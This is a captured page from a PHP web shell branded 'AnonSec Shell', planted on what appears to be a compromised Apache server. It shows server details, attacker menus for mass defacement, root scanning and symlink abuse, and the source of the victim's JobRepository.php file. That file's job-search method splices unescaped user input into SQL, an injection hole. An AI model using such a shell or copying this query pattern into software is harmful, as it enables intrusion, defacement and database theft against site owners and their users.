AnonSec Shell

. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . AnonSec Shell AnonSec Shell

Server IP : 31.31.79.131 / Your IP : 172.18.0.1 [ Reverse IP ]
Web Server : Apache/2.4.38 (Debian)
System : Linux a1822d00732a 4.15.0-39-generic #42-Ubuntu SMP Tue Oct 23 15:48:01 UTC 2018 x86_64
User : www-data ( 33)
PHP Version : 7.1.33
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Domains : 0 Domains
MySQL : OFF | cURL : ON | WGET : OFF | Perl : ON | Python : OFF | Sudo : OFF | Pkexec : OFF
Directory : /proc/1700/cwd/html/app/model/

Upload File :

[ HOME ] [ BACKUP SHELL ] [ JUMPING ] [ MASS DEFACE ] [ SCAN ROOT ] [ SYMLINK ]

Current File : /proc/1700/cwd/html/app/model/JobRepository.php

<?php

namespace Promoteus;

use App\frontModule\Presenters\BasePresenter;
use Tracy\Debugger;

/**
 * Table "jobs"
 */
class JobRepository extends Repository
{
    protected $tableName = 'jobs';

    public function insert($values)
    {
        parent::insert($values);
    }

    public function update($jobId, $values)
    {
        if(parent::update($jobId, $values)){
            return true;
        }else{
            return false;
        }

    }

    /**
     * @param int $job_id
     * @param $ls
     * @return mixed
     * @throws RepositoryException
     */
    public function getJobById(int $job_id, $ls)
    {
        $res = $this->getTable()->select("id, title_$ls title, description_$ls description, active_$ls active" )->where(['id' => $job_id])->fetchAll();
        if ($res) {
            return array_shift($res);
        }
        throw new RepositoryException('Job not found!');
    }

    public function getActiveJobs($ls)
    {
        $res = $this->getTable()->select("id, title_$ls title, description_$ls description, active_$ls active" )->where(["active_$ls" => 1])->fetchAll();
        if ($res) {
            return $res;
        }
        throw new RepositoryException('Job not found!');
    }

    /**
     * @param string $search_string
     * @param string $ls
     * @return array
     */
    public function getJobSearch(string $search_string, string $ls){
        $search_string = str_replace("  ", " ", $search_string);
        $search_string = str_replace(" ", "+", $search_string);
        $search_array = explode("+", $search_string);

        $query = "SELECT DISTINCT j.title_$ls title, j.description_$ls description, j.url_$ls url
			  FROM jobs j
              WHERE (";
        foreach ($search_array as $littlestring){
            $encoded_ls = htmlentities($littlestring);
            $query .= "(title_$ls LIKE '%$littlestring%' OR description_$ls LIKE '%$encoded_ls%') AND ";
        }
        $query .= "1) AND j.active_$ls = 1 GROUP BY id";

        $result = $this->db->query($query);

        $jobs = array();
        if($result){
            foreach($result->fetchAll() as $a){

                $jobs[] = $a;

            }
        }

        return $jobs;
    }

}

Anon7 - 2022
AnonSec Team